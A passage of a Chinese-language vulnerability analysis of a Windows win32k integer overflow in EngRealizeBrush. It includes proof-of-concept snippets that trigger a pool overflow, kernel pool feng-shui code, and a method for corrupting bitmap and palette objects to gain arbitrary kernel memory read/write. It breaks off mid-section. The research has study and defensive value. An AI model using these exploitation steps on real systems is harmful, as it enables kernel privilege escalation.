漏洞驗證代碼調用函數 PolyPatBlt 時,在內核中的函數 GrePolyPatBltInternal 調用期間,函數獲取參數 a1 指向的目標設備上下文 XDCOBJ 對象中存儲的設備相關位圖的表面 SURFACE 對象,并將該對象的地址作為參數傳入 GrePatBltLockedDC 函數調用。該參數將逐級向下傳遞,其成員對象 SURFOBJ so 的地址將成為 EngRealizeBrush 函數調用的參數 psoTarget 的值。

  pSurfDst = *(struct SURFACE **)(*(_DWORD *)a1 + 0x1F8);
  while ( 1 )
  {
    [...]
    if ( !ERECTL::bEmpty((ERECTL *)&v22) )
    {
      [...]
      if ( pSurfDst )
        v34 = GrePatBltLockedDC(a1, (struct EXFORMOBJ *)&v26, (struct ERECTL *)&v22, v36, pSurfDst, a6, a7, a8, a9);
    }
    [...]
  }

函數 GrePolyPatBltInternal 獲取目標 DC 對象的 SURFACE 成員

在驗證代碼中我們使用的是當前桌面的設備上下文 DC 對象,該 DC 對象所關聯的位圖表面 SURFACE 對象的成員域 iBitmapFormat 與當前顯示器設置的顏色配置有關,現代計算機默認設置都是 32 位真彩色,所以對應的 iBitmapFormat 成員域的值即為 32BPP 的枚舉值。我們可以通過以下系統設置來改變該成員域的值:

設置顯示器顏色的系統設置


psoPattern

與此同時,在函數 bGetRealizedBrush 執行期間,函數獲取目標筆刷 BRUSH 對象的 +0x14 字節偏移的成員域的值,即在前期階段分配并初始化筆刷 BRUSH 對象時創建的圖案位圖對象克隆的句柄,函數將該句柄值傳入 SURFREF::vAltLock 函數調用以獲取該位圖 SURFACE 對象引用。

93650a5e 8b4714          mov     eax,dword ptr [edi+14h]
93650a61 8945e8          mov     dword ptr [ebp-18h],eax
93650a64 8b4330          mov     eax,dword ptr [ebx+30h]
93650a67 8975ec          mov     dword ptr [ebp-14h],esi
93650a6a a801            test    al,1
93650a6c 7439            je      win32k!bGetRealizedBrush+0x57f (93650aa7)
93650aa7 a806            test    al,6
93650aa9 7407            je      win32k!bGetRealizedBrush+0x58a (93650ab2)
93650ab2 ff75e8          push    dword ptr [ebp-18h]
93650ab5 8d4df0          lea     ecx,[ebp-10h]
93650ab8 e8c5caffff      call    win32k!SURFREF::vAltLock (9364d582)

函數 bGetRealizedBrush 獲取圖案位圖對象克隆的 SURFACE 對象引用

接下來函數獲取該 SURFACE 對象的成員對象 SURFOBJ so 的地址,并作為第 3 個參數 psoPattern 的值傳入 EngRealizeBrush 函數調用。

93650abd 8b75f0          mov     esi,dword ptr [ebp-10h]
93650ac0 85f6            test    esi,esi
[...]
93650c06 8b4df0          mov     ecx,dword ptr [ebp-10h]
93650c09 83c110          add     ecx,10h
93650c0c eb0f            jmp     win32k!bGetRealizedBrush+0x6f5 (93650c1d)
93650c1d 8b4334          mov     eax,dword ptr [ebx+34h]
93650c20 85c0            test    eax,eax
93650c22 7403            je      win32k!bGetRealizedBrush+0x6ff (93650c27)
93650c24 83c010          add     eax,10h
93650c27 ff75dc          push    dword ptr [ebp-24h]
93650c2a 56              push    esi
93650c2b ff75e4          push    dword ptr [ebp-1Ch]
93650c2e 51              push    ecx
93650c2f 50              push    eax
93650c30 53              push    ebx
93650c31 ff5510          call    dword ptr [ebp+10h]

圖案位圖對象的 SURFOBJ 成員地址被作為 psoPattern 參數

這樣一來,參數 psoPattern 指向的 SURFOBJ 對象成員域 sizlBitmap 存儲的值就與在用戶進程創建筆刷對象時傳入參數的圖案位圖高度和寬度數值一致。


psoMask

函數 EngRealizeBrush 的參數 psoMask 指向的 SURFOBJ 對象表示筆刷的透明掩碼。筆刷使用的透明掩碼是每像素 1 位的位圖,并與圖案位圖的像素點個數相同。掩碼位為 0 表示像素是筆刷的背景像素。

在函數 bGetRealizedBrush 中,只有判斷目標筆刷 BRUSH 對象 +0x10 字節偏移成員域的值小于 6 時,才會將傳給 EngRealizeBrush 函數調用的參數 psoMask 指定為與 psoPattern 相同的 SURFOBJ 對象;否則,該參數將始終為空,即不使用筆刷透明掩碼。

  v8 = *((_DWORD *)pBrush + 4);
  if ( v8 >= 6 )
  {
    [...]
    goto LABEL_95;
  }
  SURFREF::vLockAll((SURFREF *)&v75, *((struct HSURF__ **)a2 + v8 + 0xE9));
  v9 = v75;
  if ( v75 )
  {
    v72 = (struct _SURFOBJ *)(v75 + 0x10);
    [...]
    goto LABEL_124;
  }

函數 bGetRealizedBrush 有條件地指定 psoMask 參數

前面的分析已經提到,當前的 BRUSH 對象在初始化時 0x10 字節偏移的成員域被賦值為 0xD 數值,表示這是一個圖案筆刷;在 bGetRealizedBrush 函數調用時,觀測到該成員域的值未曾被修改:

win32k!bGetRealizedBrush+0x6c:
93650594 83f806          cmp     eax,6
kd> r eax
eax=0000000d

BRUSH+0x10 字節偏移的成員域仍為 0xD 數值

這樣一來,筆刷透明掩碼參數 psoMask 將始終指向空值,那么在函數 EngRealizeBrush 中其將不會影響變量 ulSizeTotal 的值。


觸發漏洞

根據以上分析得出的結論,參數 psoTarget 指向的 SURFOBJ 對象的成員域 iBitmapFormat 值由當前系統顯示器顏色設置決定,默認為 32BPP 格式枚舉值;參數 psoPattern 指向的 SURFOBJ 對象的成員域 sizlBitmap 值由驗證代碼創建筆刷對象時傳入參數的圖案位圖的高度寬度數值決定。因此,適當控制驗證代碼中傳入參數的數值,將會滿足漏洞關鍵變量發生整數向上溢出的條件。

根據結論獲得以下公式:

BufferBytes = ((sizlPat_cx * 32) >> 3) * sizlPat_cy + 0x44 + 0x40;

如同初始驗證代碼傳入的那樣,當寬度值為 0x10 而高度值為 0x100 時,得到分配內存大小為 0x4084 字節,這與前面觀測到的數據一致。

當前已知,變量 ulSizeTotal 是 32 位的無符號整數。當對無符號整數運用加法、乘法等可以增大數值的運算時,如果運算的結果超出 32 位整數的 0xFFFFFFFF 邊界值,那么高位將會丟失,僅留下運算結果的最低 32 位數值存儲在目標寄存器中。則根據以上運算公式,要滿足 BufferBytes 數值溢出的條件,另外由于分配的內存大小需要大于 0 字節,則需滿足以下不等式:

sizlPat_cx * sizlPat_cy > 0x3FFFFFE0;

不等式滿足時,BufferBytes 數值將恰好發生整數溢出,滿足 BufferBytes > 0x(1)0000 0000 條件。修改驗證代碼中創建位圖傳入參數的高度和寬度數值以滿足前述不等式:

hbmp = CreateBitmap(0x36D, 0x12AE8F, 1, 1, NULL);

修改創建位圖傳入參數的高度和寬度數值

驗證代碼適當增大位圖的寬度和高度,將傳入參數的寬度和高度值指定為 0x36D0x12AE8F 數值,使溢出后的緩沖區分配大小成為 0x10 字節。緩沖區分配成功后,函數 EngRealizeBrush 對位于緩沖區頭部的 ENGBRUSH 對象的成員域進行初始化賦值。可以觀測到賦值前后內存塊數據的區別:

kd> dc fe7c87e0
fe7c87e0  46030001 72626547 00000000 00000000  ...FGebr........
fe7c87f0  00000000 00000000 46050003 6b687355  ...........FUshk
fe7c8800  fd6f6298 00000000 fe803b08 40000008  .bo......;.....@
fe7c8810  00000039 0000020a 00000000 00000000  9...............
fe7c8820  46140005 38616c47 010804e1 00000001  ...FGla8........
fe7c8830  80000000 00000000 00000202 00000000  ................
fe7c8840  0000053e 00000000 00000000 00000000  >...............
fe7c8850  00000000 00000000 00000000 00000000  ................
[...]
kd> dc fe7c87e0
fe7c87e0  46030001 72626547 00000000 00000010  ...FGebr........
fe7c87f0  00000000 00000000 0000036d 0000036d  ........m...m...
fe7c8800  0012ae8f 00000db4 fe7c8828 40000008  ........(.|....@
fe7c8810  00000039 0000020a 00000000 00000000  9...............
fe7c8820  46140005 00000006 010804e1 00000001  ...F............
fe7c8830  80000000 00000000 00000202 00000000  ................
fe7c8840  0000053e 00000000 00000000 00000000  >...............
fe7c8850  00000000 00000000 00000000 00000000  ................

下一內存塊被覆蓋前后數據對比

初始化賦值操作將當前 ENGBRUSH 所在內存塊的下一內存塊 POOL_HEADER 頭部結構破壞。接下來函數調用 SURFMEMOBJ::bCreateDIB 并傳入前面分配的緩沖區 +0x40 字節偏移地址作為獨立的位圖像素數據區域參數 pvBitsIn 來創建新的設備無關位圖對象。新創建的設備無關位圖對象的像素位數格式與參數 psoTarget 指向的目標位圖表面 SURFOBJ 對象的成員域 iBitmapFormat 一致。

  *(_DWORD *)(pengbrush + 4) = ulSizeSet;
  *(_DWORD *)(pengbrush + 0x1C) = cjScanPat;
  *(_DWORD *)(pengbrush + 0x10) = cxPatRealized;
  cxPat = cxPatRealized;
  if ( bsoMaskNull )
    cxPat = sizlPat_cx;
  cyPat = sizlPat_cy;
  *(_DWORD *)(pengbrush + 0x14) = cxPat;
  *(_DWORD *)(pengbrush + 0x18) = cyPat;
  *(_DWORD *)(pengbrush + 0x20) = pengbrush + 0x40;
  iFormat = (int)psoPattern;
  *(_DWORD *)(pengbrush + 0x3C) = psoPattern;
  dbmi_cy = cyPat;
  dbmi_iFormat = iFormat;
  v47 = 0;
  v48 = 1;
  v63 = 0;
  v64 = 0;
  dbmi_cx = cxPatRealized;
  SURFMEM::bCreateDIB( (SURFMEM *)&v63, (struct _DEVBITMAPINFO *)&dbmi_iFormat, *(PVOID *)(pengbrush + 0x20), 0, 0, 0, 0, 0, 1);
  if ( !v63 )
    goto LABEL_47;

函數 EngRealizeBrush 調用 SURFMEM::bCreateDIB 創建位圖

函數 SURFMEMOBJ::bCreateDIB 在根據參數計算位圖像素數據區域大小時,由于沒有增加 0x440x40 兩個 ENGBRUSH 對象的大小,所以并未發生溢出而得到 0xFFFFFF8C 數值,超過函數限制的 0x7FFFFFFF 數據區域最大范圍,致使函數調用失敗。

  if ( BaseAddress )
  {
    if ( a9 )
    {
      eq = bUnk ? (LONGLONG)*((_DWORD *)pdbmi + 3) : cjScanTemp * (LONGLONG)*((_DWORD *)pdbmi + 2);
      if ( eq > 0x7FFFFFFF )
        return 0;
    }
    [...]
  }

函數 SURFMEMOBJ::bCreateDIB 判斷位圖像素數據區域大小的有效性

返回到函數 EngRealizeBrush 時,由于位圖對象創建失敗,因此函數繼續向上級返回。前面的章節已經提到,在函數 pvGetEngRbrush 中判斷 bGetRealizedBrush 函數調用返回失敗時,將釋放剛才分配的緩沖區內存。

編譯后在測試環境執行,可以觀測到由于整數向上溢出造成分配緩沖區過小、使后續代碼邏輯觸發緩沖區溢出漏洞導致系統 BSOD 的發生:

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_HEADER (19)
[...]
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: fd6c4250, The pool entry we were looking for within the page.
Arg3: fd6c4268, The next pool entry.
Arg4: 4a030018, (reserved)

[...]

STACK_TEXT:  
96f1b53c 83f35083 00000003 e2878267 00000065 nt!RtlpBreakWithStatusInstruction
96f1b58c 83f35b81 00000003 fd6c4250 000001ff nt!KiBugCheckDebugBreak+0x1c
96f1b950 83f77c6b 00000019 00000020 fd6c4250 nt!KeBugCheck2+0x68b
96f1b9cc 936534c3 fd6c4258 00000000 ffa07648 nt!ExFreePoolWithTag+0x1b1
96f1b9e0 936c9ae6 ffa07648 ffa07648 ffb6e008 win32k!pvGetEngRbrush+0x33
96f1ba44 936ee723 ffb6e018 00000000 00000000 win32k!EngBitBlt+0x2bf
96f1baa8 936ee8ab ffa07648 96f1bb10 96f1bb00 win32k!GrePatBltLockedDC+0x22b
96f1bb54 936eed96 96f1bbe8 0000f0f0 002cf9e8 win32k!GrePolyPatBltInternal+0x176
96f1bc18 83e941ea 1a0101f5 00f00021 002cf9e8 win32k!NtGdiPolyPatBlt+0x1bc
96f1bc18 774670b4 1a0101f5 00f00021 002cf9e8 nt!KiFastCallEntry+0x12a
002cf950 77056217 770561f9 1a0101f5 00f00021 ntdll!KiFastSystemCallRet
002cf954 770561f9 1a0101f5 00f00021 002cf9e8 GDI32!NtGdiPolyPatBlt+0xc
002cf980 0088b0c5 1a0101f5 00f00021 002cf9e8 GDI32!PolyPatBlt+0x1e7

漏洞驗證代碼觸發異常

根據 WinDBG 捕獲的 BSOD 信息顯示,發生的異常編碼是 BAD_POOL_HEADER 錯誤的內存池頭部,異常發生在函數 pvGetEngRbrush 調用 ExFreePoolWithTag 釋放前面分配的 ENGBRUSH 緩沖區期間。由于整數溢出導致后續代碼邏輯觸發緩沖區溢出漏洞,覆蓋了下一個內存塊的 POOL_HEADER 內存塊頭部結構,在函數 ExFreePoolWithTag 中釋放當前內存塊時,校驗同一內存頁中的下一個內存塊的有效性;沒有校驗通過則拋出異常碼為 BAD_POOL_HEADER 的異常。

0x3 利用

前面驗證了漏洞的觸發機理,接下來將通過該漏洞實現任意地址讀寫的利用目的。前面的章節已經指出,整數溢出漏洞發生后,在函數后續的代碼邏輯中,初始化 ENGBRUSH 對象的成員域時,覆蓋了下一內存塊的頭部結構和內存數據。


內存布局

利用的第一步是內存布局。在以前的分析文章中提到,內核在釋放內存塊時,如果內存塊位于所在內存頁的末尾,則不會進行相鄰內存塊頭部結構的有效性驗證。根據 Windows 內核池內存分配的邏輯,分配的內存塊小于 0x1000 字節時,內存塊大小越大,其被分配在內存頁首地址的概率就越大。而分配較小內存緩沖區時,內核將首先搜索符合當前請求內存塊大小的空間,將內存塊優先安置在這些空間中。利用內核池風水技術,首先在內核中通過相關 API 分配大量特定大小的內存塊以占用對應內存頁的起始位置,為漏洞函數分配內存緩沖區時預留內存頁末尾的空間,以防止在釋放內存時由于 POOL_HEADER 內存塊頭部校驗導致的 BSOD 發生。

根據以上的分析,我們當前實現的漏洞驗證代碼導致函數 EngRealizeBrush 分配緩沖區大小為 0x10 字節,加上 POOL_HEADER 結構的 8 字節,總計占用 0x18 字節的內存塊空間。那就需要在進行內存布局時,提前分配 0xFE8 字節的內存塊緩沖區。

分配用來占用空間和利用的內存塊緩沖區通過熟悉的 CreateBitmap 函數實現。函數 CreateBitmap 用于根據指定的寬度、高度和顏色格式在內核中創建位圖表面對象。調用該函數時,系統最終在內核函數 SURFMEM::bCreateDIB 中分配內存緩沖區并初始化位圖表面 SURFACE 對象和位圖像素數據區域,內存塊類型為分頁會話池(0x21)內存。當位圖表面對象的總大小在 0x1000 字節之內的話,分配內存時,將分配對應位圖像素數據大小加 SURFACE 管理對象大小的緩沖區,直接以對應的 SURFACE 管理對象作為緩沖區頭部,位圖像素數據緊隨其后存儲。在當前系統環境下,SURFACE 對象的大小為 0x154 字節。

這樣一來,位圖像素數據區域的占用大小就成為:

0xFE8 - 8 - 0x154 = 0xE8C

當分配位圖的寬度為 4 的倍數且像素位數格式為 8 位時,位圖像素數據的大小直接等于寬度和高度的乘積。根據以上,可以通過以下驗證代碼片段分配大量的 0xFE8 字節的內存緩沖區:

for (LONG i = 0; i < 2000; i++)
{
    hbitmap[i] = CreateBitmap(0xE8C, 0x01, 1, 8, NULL);
}

分配位圖占位對象的驗證代碼片段


填充空隙

在分配大量的位圖對象緩沖區之后,如果我們立刻開始調用函數 PolyPatBlt 以求觸發漏洞,那么很大可能分配的緩沖區不在我們預留的內存頁末尾位置,這是因為系統環境的內存中之間就存在大量的合適大小的內存空隙,在漏洞所在函數中分配內存緩沖區時,內核不一定會將該緩沖區放置在我們期望的位置。這樣一來,我們需要提前填充大量的已存在的 0x18 字節大小的內存空隙。

另一方面,在進行內核內存布局時,通常我們并不能保證用來占用空間的大量內核對象同時也能夠作為可利用的目標對象來使用,這就需要在布局時釋放掉前面分配的占位緩沖區,再分配合適大小的墊片及一個或多個可利用內核對象的組合。這樣一來,同樣需要在釋放先前分配緩沖區時,首先用來占用內存頁末尾間隙的較小的緩沖區。

除去 8 字節的 POOL_HEADER 頭部結構大小,用于填充空隙的緩沖區所需分配大小為 0x10 字節。在內核中可控分配 0x10 字節緩沖區的方式非常少,在本分析中通過用戶進程調用系統函數 RegisterClassEx 注冊窗口類、并將參數 lpwcx 的成員域 lpszMenuName 指定為 25 個字符的字符串的方式來實現。

ATOM WINAPI RegisterClassEx(
  _In_ const WNDCLASSEX *lpwcx
);

函數 RegisterClassEx 的定義

在內核函數 win32k!InternalRegisterClassEx 中會根據傳入的參數分配并初始化窗口類 tagCLS 對象:

v3 = gptiCurrent;
[...]
v8 = (void *)(*((_BYTE *)v3 + 0xD8) & 4 ? 0 : *((_DWORD *)v3 + 0x32));
[...]
v9 = ClassAlloc((int)v8, Size, 1);

函數 InternalRegisterClassEx 分配窗口類對象

由于函數 ClassAlloc 的參數 a1 被指定為當前線程關聯的桌面堆的句柄,因此窗口類 tagCLS 對象被分配在對應的桌面堆中,而不是分配在內核的分頁會話池中。函數后續通過調用函數 AllocateUnicodeString 分配池標簽為 Ustx 的分頁會話池內存塊,用來替換 tagCLS 對象中存儲的 lpszMenuName 指針成為新分配的菜單名稱字符串。

  qmemcpy((char *)v9 + 0x30, (const void *)(a1 + 4), 0x2Cu);
  [...]
  v18 = (const WCHAR *)*((_DWORD *)v9 + 0x14); // pcls->lpszMenuName
  if ( v18 && (unsigned int)v18 & 0xFFFF0000 )
  {
    ms_exc.registration.TryLevel = 2;
    RtlInitUnicodeString(&DestinationString, v18);
    ms_exc.registration.TryLevel = -2;
    [...]
    if ( AllocateUnicodeString(&v27, &DestinationString.Length) )
    {
      *((_DWORD *)v9 + 20) = v27.Buffer;
      goto LABEL_45;
    }
    [...]
  }

函數 InternalRegisterClassEx 分配字符串緩沖區

在函數 AllocateUnicodeString 中調用函數 ExAllocatePoolWithQuotaTag 分配進程配額的內存塊。由于分配的內存將作為 UNICODE 類型的以零結尾字符串的緩沖區,因此傳入參數的分配緩沖區大小為 2lpszMenuName 字符串的字符個數倍的 WCHAR 字符大小。

  if ( UShortAdd(SourceString->Length, 2, &v6) >= 0 )
  {
    v3 = v6;
    v4 = (WCHAR *)ExAllocatePoolWithQuotaTag((POOL_TYPE)0x29, v6, 'xtsU');
    [...]
  }

函數 AllocateUnicodeString 分配內存緩沖區

在函數 ExAllocatePoolWithQuotaTag 中最終分配的緩沖區大小再額外加上進程內存配額標記的 4 字節。

在調用函數 RegisterClassEx 時,如果參數 lpwcx 的成員域 lpszMenuName 指定為 25 個字符的字符串,傳入函數 ExAllocatePoolWithQuotaTag 的第 2 個參數將被設為從 0x60xc2 遞增的數值。由于進程配額的內存塊需包含 4 字節的配額標記,并且內存緩沖區以 8 字節對齊,最終分配的內存塊大小為 0x18 字節,內存塊類型為 0x21 分頁會話池。驗證代碼如下:

CHAR buf[0x10] = { 0 };
for (LONG i = 0; i < 3000; i++)
{
    WNDCLASSEXA Class = { 0 };
    sprintf(buf, "CLS_%d", i);
    Class.lpfnWndProc = DefWindowProcA;
    Class.lpszClassName = buf;
    Class.lpszMenuName = "Test";
    Class.cbSize = sizeof(WNDCLASSEXA);
    RegisterClassExA(&Class);
}

通過注冊窗口類填充內存間隙的驗證代碼片段


溢出覆蓋

根據前面章節的分析和 IDA 反匯編代碼計算得到 ENGBRUSH 結構的部分成員域定義:

typedef struct _ENGBRUSH
{
  DWORD dwUnk00;       //<[00,04]
  ULONG cjSize;        //<[04,04] length of the allocation
  DWORD dwUnk08;       //<[08,04]
  DWORD dwUnk0c;       //<[0C,04]
  DWORD cxPatRealized; //<[10,04]
  SIZEL sizlBitmap;    //<[14,08] cxPat & cyPat
  DWORD cjScanPat;     //<[1C,04] scanline length
  PBYTE pjBits;        //<[20,04] bitmap bits data pointer
  DWORD dwUnk24;       //<[24,04]
  DWORD dwUnk28;       //<[28,04]
  DWORD dwUnk2c;       //<[2C,04]
  DWORD dwUnk30;       //<[30,04]
  DWORD dwUnk34;       //<[34,04]
  DWORD dwUnk38;       //<[38,04]
  DWORD iFormat;       //<[3C,04] bit format from target surfobj
  BYTE aj[4];          //<[40,xx] bitmap bits data base
} ENGBRUSH, *PENGBRUSH;

結構體 ENGBRUSH 的部分定義

在以上結構體定義的成員域中,除最后一個成員域 aj 之外,函數只對未被標記為 dwUnkXX 變量名的成員域進行了賦值;通過成員域重合位置計算發現,如果當前 ENGBRUSH 對象所在內存塊的下一內存塊中存儲的是位圖表面 SURFACE 對象,將會導致位圖表面 SURFACE 對象中的如下成員域被覆蓋:

ENGBRUSH 溢出覆蓋相鄰的 SURFACE 對象

當前 ENGBRUSH 對象的成員域 iFormat 的位置對應的是位于下一內存頁起始位置位圖表面 SURFACE 對象的成員域 SURFACE->so.sizlBitmap.cy 的位置,也就是說函數在為 ENGBRUSH 對象的成員域 iFormat 賦值時,實際上覆蓋了下一內存塊中 SURFOBJ 對象的 sizlBitmap.cy 成員域。據前面的分析可知,成員域 iFormat 被賦值為 0x6 數值。

借用這一特性,我們既可以通過緩沖區溢出覆蓋使位圖表面對象的成員域 SURFACE->so.sizlBitmap.cy 較小的初值增大以利用更下一內存頁中的位圖表面對象,也可以通過在同一內存頁中安排并利用兩個內核對象的方式來實現利用目的。

如果選擇在同一內存頁中使用兩個內核對象,則需在利用時將前面分配的位圖占位對象先行釋放,再分配合適大小和類型的內核對象填充區域以進行利用。釋放原位圖占位對象并分配新的位圖利用對象的驗證代碼如下:

for (LONG i = 0; i < 2000; i++)
{
    bReturn = DeleteObject(hbitmap[i]);
    hbitmap[i] = NULL;
}
for (LONG i = 0; i < 2000; i++)
{
    hbitmap[i] = CreateBitmap(0xC98, 0x01, 1, 8, NULL);
}

釋放位圖占用對象并分配新的位圖對象的驗證代碼片段

分配新的位圖對象時,需要注意將位圖的高度參數指定為小于 0x6 的數值(如上面的代碼中指定為 0x1),這樣一來在漏洞觸發導致緩沖區溢出時,函數將 sizlBitmap.cy 成員覆蓋為 0x6 數值,才能使目標位圖對象可控范圍擴大,將緊隨其后的其他內核對象的成員區域包含在內。


其一:兩個位圖

我們可以通過使被覆蓋數據的位圖表面 SURFACE 對象與其下一內存頁相同位置的位圖表面對象相配合、通過被覆蓋數據的位圖表面對象控制后一個位圖表面對象的 pvScan0 成員域指針的值,來實現任意內存地址讀寫。

根據前面的分析已經知道,被覆蓋數據的 SURFACE 對象的成員域 SURFACE->so.sizlBitmap.cy 被覆蓋成原應寫入 ENGBRUSH 對象的成員域 iFormat 的值。成員域 iFormat 存儲用來指示目標實現筆刷的像素位格式的枚舉值,在當前的系統設置中,數值 6 表示 32 位每像素點(32BPP)的枚舉值。

依據這些條件,我們可以在創建前一個位圖對象時,將位圖的高度(sizlBitmap.cy)設置為小于 6 的數值,這樣一來,在緩沖區溢出覆蓋發生后,成員域 sizlBitmap.cy 將被覆蓋為 6,當前位圖將可以操作超出其像素數據區域范圍的內存,即下一內存頁中相同位置的位圖表面對象的成員區域。

在擴大前一個位圖的內存訪問范圍之后,使用系統 API SetBitmapBits 通過前一個位圖對象將后一個位圖 SURFACE 對象的成員域 SURFACE->so.pvScan0 篡改為任意地址,隨后操作后一個位圖對象時,函數訪問的像素數據內存區域將是修改后的 pvScan0 指向的內存區域。

這種利用方式的方法與《從 CVE-2016-0165 說起:分析、利用和檢測(中)》分析中使用到的技術類似,具體可參考這篇文章,在這里不再贅述。


其二:利用調色板對象

通過使用調色板 PALETTE 對象同樣可以實現該漏洞的利用。在內核中 GDI 子系統通過調色板將 32 位顏色索引映射到 24 位 RGB 顏色值,這是 GDI 使用調色板的方法。調色板實體通過 PALETTE 類對象進行管理;相應地,對象 PALETTE 與對應的調色板列表數據區域相關聯,列表中的每個表項定義對應 24 位 RGB 顏色值等信息。

與 GDI 對象類 SURFACE 類似地,調色板 PALETTE 類作為內核 GDI 對象類,它的基類同樣是 BASEOBJECT 結構體。其定義如下:

class PALETTE : public OBJECT // : public BASEOBJECT
{
public:
    FLONG        flPal;             //<[10,04]
    ULONG        cEntries;          //<[14,04]
    ULONG        ulTime;            //<[18,04]
    HDC          hdcHead;           //<[1C,04]
    HDEVPPAL     hSelected;         //<[20,04]
    ULONG        cRefhpal;          //<[24,04]
    ULONG        cRefRegular;       //<[28,04]
    PTRANSLATE   ptransFore;        //<[2C,04]
    PTRANSLATE   ptransCurrent;     //<[30,04]
    PTRANSLATE   ptransOld;         //<[34,04]
    ULONG        dwUnk38;           //<[38,04]
    ULONG        dwUnk3c;           //<[3C,04]
    ULONG        dwUnk40;           //<[40,04]
    ULONG        dwUnk44;           //<[44,04]
    ULONG        dwUnk48;           //<[48,04]
    PALETTEENTRY *apalColor;        //<[4C,04]
    PALETTE      *ppalThis;         //<[50,04]
    PALETTEENTRY apalColorTable[1]; //<[54,xx]
};

類 PALETTE 的定義

在類 PALETTE 的定義中,我們需要關注 cEntriesapalColorapalColorTable 成員域。成員 cEntries 指定當前調色板列表的項數,成員 apalColor 指向調色板列表的起始表項的地址。成員 apalColorTable 定義成元素個數為 1PALETTEENTRY 結構體類型數組。在內核中創建調色板對象時,系統在分配內存時根據傳入的顏色數目適當地擴大緩沖區大小,使該成員表示的數組元素個數增大到所需的數目,并使成員 apalColor 默認指向 apalColorTable 數組的起始元素的地址。

結構體 PALETTEENTRY 大小為 4 字節,其各個成員用于定義調色板表項對應的 24 位 RGB 顏色值等信息。在 MSDN 中存在定義如下:

typedef struct tagPALETTEENTRY {
  BYTE peRed;
  BYTE peGreen;
  BYTE peBlue;
  BYTE peFlags;
} PALETTEENTRY;

結構體 PALETTEENTRY 的定義

后續在操作或訪問該調色板對象時,系統將通過成員域 apalColor 指向的地址訪問調色板列表數據區域,區域的范圍通過成員域 cEntries 指定。這樣一來,緊隨位于內存頁起始位置的位圖表面 SURFACE 對象其后分配適當大小的調色板 PALETTE 對象,在前面的位圖表面對象被覆蓋成員域 SURFACE->so.sizlBitmap.cy 的值以擴大訪問范圍之后,通過篡改當前 PALETTE 對象的成員域 cEntriesapalColor 的值,即可獲得相對 / 任意內存地址讀寫的能力。

采用這種利用方式需要在漏洞觸發之前進行一些預先的準備工作:將先前分配的位圖占位對象釋放,再在原來的起始位置分配較小的位圖表面對象,并將適當大小的調色板 PALETTE 對象分配在較小位圖表面對象的后面,恰好填充內存頁中位圖表面對象和窗口類菜單名稱字符串緩沖區之間的空間。由于大部分目標內存頁末尾的 0x18 字節內存塊被窗口類菜單名稱字符串占據,那么在漏洞觸發之前需要對注冊的窗口類解除注冊,以釋放這些占據空間的字符串緩沖區。然而一部分字符串緩沖區被用來填充無關的 0x18 字節空隙,以防在觸發漏洞時目標 ENGBRUSH 對象被分配在這些無關空隙中導致利用失敗,因此采取折中方案,在利用之前只釋放中間一部分窗口類對象,為漏洞利用預留充足的內存空隙;剩余的窗口類對象在漏洞觸發之后釋放。

利用調色板對象的內存布局

分配調色板對象通過在用戶進程中調用 gdi32.dll 模塊的導出函數 CreatePalette 來實現。

HPALETTE CreatePalette(
  _In_ const LOGPALETTE *lplgpl
);

函數 CreatePalette 的定義

函數 CreatePalette 的唯一參數 lplgpl 是指向 LOGPALETTE 類型結構體對象的指針。結構體定義如下:

typedef struct tagLOGPALETTE {
  WORD         palVersion;
  WORD         palNumEntries;
  PALETTEENTRY palPalEntry[1];
} LOGPALETTE;

結構體 LOGPALETTE 的定義

結構體 LOGPALETTE 的成員域 palPalEntry 為可變長度的 PALETTEENTRY 結構體類型數組,數組元素個數由結構體成員域 palNumEntries 控制。通過對參數指向結構體對象的成員域設置特定的元素個數,可控制在內核中分配的調色板 PALETTE 對象的大小。

與其他類型的 GDI 內核對象的創建類似地,創建 PALETTE 對象具體地在對應的內存對象類成員函數 PALMEMOBJ::bCreatePalette 中實現。

  v9 = 0x58;
  if ( a2 == 1 )
  {
    v9 = 4 * a3 + 0x58;
    a8 &= 0x102F00u;
    if ( !a3 )
      return 0;
    goto LABEL_18;
  }
LABEL_18:
  v11 = (unsigned __int32)AllocateObject(v9, 8, 0);
  *(_DWORD *)this = v11;

函數 PALMEMOBJ::bCreatePalette 代碼片段

函數 PALMEMOBJ::bCreatePalette 根據參數 a2 的數值設定對應的對象分配大小。由于在上級函數調用時為 a2 參數傳值為 1,因此對象分配大小被設置為 4 * a3 + 0x58 字節。參數 a3 的值源于用戶進程為參數 lplgpl 指向對象的成員域 palNumEntries 設置的值,而 0x58 字節是 PALETTE 類的大小。根據參數 a3 指定的數目,函數將目標調色板 PALETTE 對象的成員數組 apalColorTable 擴展為預期的元素個數并調用函數 AllocateObject 分配足夠的緩沖區空間。

分配調色板對象的驗證代碼如下:

PLOGPALETTE pal = NULL;
pal = (PLOGPALETTE)malloc(sizeof(LOGPALETTE) + 0x64 * sizeof(PALETTEENTRY));
pal->palVersion = 0x300;
pal->palNumEntries = 0x64; // 0x64*4+0x58+8=0x1f0
for (LONG i = 0; i < 2000; i++)
{
    hpalette[i] = CreatePalette(pal);
}
free(pal);

分配調色板對象的驗證代碼片段

編譯代碼在測試環境執行,可觀測到調色板對象被分配到預留的內存空間中:

Breakpoint 3 hit
win32k!PALMEMOBJ::bCreatePalette+0xd9:
93af5038 e8ffcd0000      call    win32k!AllocateObject (93b01e3c)
kd> dc esp l4
94823b80  000001e8 00000008 00000000 07464b54  ............TKF.
kd> p
win32k!PALMEMOBJ::bCreatePalette+0xde:
93af503d 8bf0            mov     esi,eax
kd> !pool eax
Pool page fddd3e00 region is Paged session pool
 fddd3000 size:  df8 previous size:    0  (Allocated)  Gh15
*fddd3df8 size:  1f0 previous size:  df8  (Allocated) *Gh18
        Pooltag Gh18 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys
 fddd3fe8 size:   18 previous size:  1f0  (Allocated)  Ustx Process: 87151620

調色板對象被分配到預留的內存空間

通過系統函數 UnregisterClass 對先前注冊的窗口類對象取消注冊。

BOOL WINAPI UnregisterClass(
  _In_     LPCTSTR   lpClassName,
  _In_opt_ HINSTANCE hInstance
);

函數 UnregisterClass 的定義

函數的第 1 個參數 lpClassName 指向窗口類名稱字符串,與前面注冊時傳入的類名成字符串成員域對應。第 2 個參數 hInstance 是指向創建窗口類的模塊的句柄。由于我們在創建時未指定模塊句柄,因此該參數傳 NULL 即可。在窗口類對象序列中挖出空洞的驗證代碼如下:

